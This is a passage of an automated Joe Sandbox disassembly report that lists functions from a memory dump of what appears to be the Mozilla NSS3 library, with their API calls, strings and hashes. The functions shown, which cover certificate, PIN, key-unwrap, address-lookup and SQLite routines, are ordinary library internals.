PORT_DestroyCheapArena.NSS3(?), ref: 6CBF903E

Strings

security, xrefs: 6CBF8EE7

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction ID: 1e56105178f53b6216f5e915460683fb3fb66543b3407fffd464095500fb2469
Opcode Fuzzy Hash: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction Fuzzy Hash: 84515BB1508240AFE7109E1ADC45FAB73A8EB8635CF80082EF56497F50E732D81E8753

Function 6CC22F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CC22F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22F63

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CC22F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CC22FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CC22FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CC22FE7

Strings

pOldPin = 0x%p, xrefs: 6CC22F95
hSession = 0x%x, xrefs: 6CC22F3E, 6CC22F4E
C_SetPIN, xrefs: 6CC22F21
ulNewLen = %d, xrefs: 6CC22FE2
(CK_INVALID_HANDLE), xrefs: 6CC22F5C
ulOldLen = %d, xrefs: 6CC22FB0
pNewPin = 0x%p, xrefs: 6CC22FC9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction ID: 04e9bfb38d850411a4a859da1a320753658915b5198d1cc333ee56b3bb6edb90
Opcode Fuzzy Hash: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction Fuzzy Hash: 4331F775A01154BFEB10DF58EC4CE5A77B9EB4635DF884015EA08A7B21EB34984CCBA1

Function 6CBF27F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

CERT_GetCommonName.NSS3(?), ref: 6CBF2801
CERT_GetOrgUnitName.NSS3(?), ref: 6CBF2810
CERT_GetOrgName.NSS3(?), ref: 6CBF2821
PR_smprintf.NSS3(6CD2AAF9,?), ref: 6CBF2869
PR_smprintf.NSS3(%s - %s #%d,00000000,?,00000002), ref: 6CBF287D
PR_smprintf.NSS3(%s #%d,?,00000001), ref: 6CBF2890
CERT_FindCertByNickname.NSS3(?,00000000), ref: 6CBF28A8
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBF28B5
free.MOZGLUE(00000000), ref: 6CBF28BE
free.MOZGLUE(00000000), ref: 6CBF28D2
free.MOZGLUE(?), ref: 6CBF28E3
PORT_Strdup_Util.NSS3(Unknown CA), ref: 6CBF2905

Strings

%s - %s, xrefs: 6CBF2855
%s - %s #%d, xrefs: 6CBF2878
Unknown CA, xrefs: 6CBF2900

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: NameR_smprintffree$CertCertificateCommonDestroyFindNicknameStrdup_UnitUtil
String ID: %s - %s$%s - %s #%d$Unknown CA
API String ID: 778386754-45099391
Opcode ID: fc861f90677fd69fa10a2bb3da147c94bbd93692ff9bcfefd84384a43cafabd1
Instruction ID: 68bcc83bcbe6179243d8fd2fb99044bf48966ec7d512f1b134498e262ad32b4e
Opcode Fuzzy Hash: fc861f90677fd69fa10a2bb3da147c94bbd93692ff9bcfefd84384a43cafabd1
Instruction Fuzzy Hash: C631DCB6E012DA67EB006AA5AC459DF766CEF4134EF080531ED3992B11F721D91E82E3

Function 6CCBCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A

Part of subcall function 6CCBCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC2C1A8,?), ref: 6CCBCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E

Part of subcall function 6CBE05C0: PR_EnterMonitor.NSS3 ref: 6CBE05D1
Part of subcall function 6CBE05C0: PR_ExitMonitor.NSS3 ref: 6CBE05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CCBCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCE48

Strings

getaddrinfo, xrefs: 6CCBCD88, 6CCBCDF9
getnameinfo, xrefs: 6CCBCDB2, 6CCBCE23
ws2_32.dll, xrefs: 6CCBCD75
freeaddrinfo, xrefs: 6CCBCD9F, 6CCBCE10
wship6.dll, xrefs: 6CCBCDE3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction ID: f4b8d3764819932a734249d3b90a6e2f4df63b5f05efded23bb49102f46eb860
Opcode Fuzzy Hash: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction Fuzzy Hash: D211DAA5E0226166FB017BF57C4099F399CAB0614DF540634EA0AE2F90FB38C90CC7E2

Function 6CC34540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6CC34590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3471C
TlsGetValue.KERNEL32 ref: 6CC3477C
EnterCriticalSection.KERNEL32(?), ref: 6CC3479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC3484A
PK11_FreeSymKey.NSS3(?), ref: 6CC34858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3486A
PR_Unlock.NSS3(?), ref: 6CC3487E

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PK11_FreeSymKey.NSS3(?), ref: 6CC3488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3489C
PK11_GetInternalSlot.NSS3 ref: 6CC348B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6CC17F9D), ref: 6CC348EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CC3492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC34949
PR_SetError.NSS3(00000000,00000000), ref: 6CC34977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC34987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3499B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 23ba78cdb53ebaf9749b41343efec812486a0982d2ad58481d5f104d7b236653
Instruction ID: 58dcfdbfedd4e885bfffdb1f51de316be3a1d2aeb38ae41453e88479ec3abe78
Opcode Fuzzy Hash: 23ba78cdb53ebaf9749b41343efec812486a0982d2ad58481d5f104d7b236653
Instruction Fuzzy Hash: 34E17C71D002699FDB20CF24DC44BAEBBB5EF44308F1481A9E91DA7751E7729A94CF90

Function 6CC56CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD21DE0,?), ref: 6CC56CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC56D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC56D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC56D82
DER_GetInteger_Util.NSS3(?), ref: 6CC56DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC56DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC56E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC56F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC56F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC56F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC57011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC57033
free.MOZGLUE(?), ref: 6CC5703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC57060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC57087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC570AF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction ID: bea62c6541a3ed1af3e56595cbaba7bf2e548fb629baa492c210b3daad2fe50e
Opcode Fuzzy Hash: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction Fuzzy Hash: B8A16B71A056009BFB008F24DC85B5B32A4EB8131CFA48A39E959CBB81F775D879C757

Function 6CC325D0 Relevance: 24.3, APIs: 16, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?,?), ref: 6CC3264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?,?), ref: 6CC32670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?), ref: 6CC32684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CC326C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CC326E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CC326F4
PR_Unlock.NSS3(?), ref: 6CC3274D
PR_SetError.NSS3(00000000,00000000), ref: 6CC328A9

Part of subcall function 6CC43440: PK11_GetAllTokens.NSS3 ref: 6CC43481
Part of subcall function 6CC43440: PR_SetError.NSS3(00000000,00000000), ref: 6CC434A3
Part of subcall function 6CC43440: TlsGetValue.KERNEL32 ref: 6CC4352E
Part of subcall function 6CC43440: EnterCriticalSection.KERNEL32(?), ref: 6CC43542
Part of subcall function 6CC43440: PR_Unlock.NSS3(?), ref: 6CC4355B

PR_Unlock.NSS3(?), ref: 6CC327A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CC0662E,?,?,?), ref: 6CC327B5
PR_Unlock.NSS3(?), ref: 6CC327CE
TlsGetValue.KERNEL32 ref: 6CC327E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC32800

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

PR_Unlock.NSS3(?), ref: 6CC32834
TlsGetValue.KERNEL32 ref: 6CC3284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC32866

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID:
API String ID: 544520609-0
Opcode ID: 6dce5b8d9584aca7c3d251cd2d1f55794d101ecd195ef01048638083327514c8
Instruction ID: 32cf1606b9da4cfa8101540120cfdd02aaa0907d5c2ddde41f67c822c744c7cb
Opcode Fuzzy Hash: 6dce5b8d9584aca7c3d251cd2d1f55794d101ecd195ef01048638083327514c8
Instruction Fuzzy Hash: E2B1D5B19002149FEF00DF69E898AAAB7B4FF09308F545529DD49A7B02F731E844CBE1

Function 6CC1AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF39
PR_Unlock.NSS3(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF69
TlsGetValue.KERNEL32 ref: 6CC1B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC1B083
PR_Unlock.NSS3(?), ref: 6CC1B0A4
TlsGetValue.KERNEL32 ref: 6CC1B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC1B0D9
PR_Unlock.NSS3 ref: 6CC1B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B182

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC1B177

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1C2

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction ID: f4296026e3434e088a3103f851f87047c760891356ba5d1b8467893f0497e906
Opcode Fuzzy Hash: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction Fuzzy Hash: F2A1BFB1E002059BEF009F65DC41BEEB7B4BF48318F144125EA09A6B51FB31E999DBA1

Function 6CC3E550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC3E5A0

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6CC3E5F2

Strings

0, xrefs: 6CC3EA4D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 296f80f4a14024199452a25dd82f21c15905cd00a8dde8de0dfda46dab7ae37e
Instruction ID: a09519affc94525a3f26175dc1179309975c8ee69c7ec584baa9b59c55818db1
Opcode Fuzzy Hash: 296f80f4a14024199452a25dd82f21c15905cd00a8dde8de0dfda46dab7ae37e
Instruction Fuzzy Hash: 04F16CB1A002299BDB218F25EC84BDA77B5BF49318F1451A8E90CA7641E771EE94CFD0

Function 6CCCA4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CCCA4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CCCA4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCCA553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CCCA5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCCA5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCCA60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCCA633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCCA671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CCCA69A

Strings

database corruption, xrefs: 6CCCA627
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCCA61D, 6CCCA68B, 6CCCA6B3
%s at line %d of [%.10s], xrefs: 6CCCA62C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 94936808ea20a1f71dd0381d9fb8eb841a402c959478695c50d7faa50014e15f
Instruction ID: 6c82635598e9abd924131a1158bb32c524c80b66aa29189dd3041c06c1ba5a38
Opcode Fuzzy Hash: 94936808ea20a1f71dd0381d9fb8eb841a402c959478695c50d7faa50014e15f
Instruction Fuzzy Hash: 0951A4B1B08300EFDB01CF25D894A5ABBE0AF8431CF048869F98997A51F771D994DB93

Function 6CBF45B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6CBF1984,?), ref: 6CBF45F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBF45FB

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

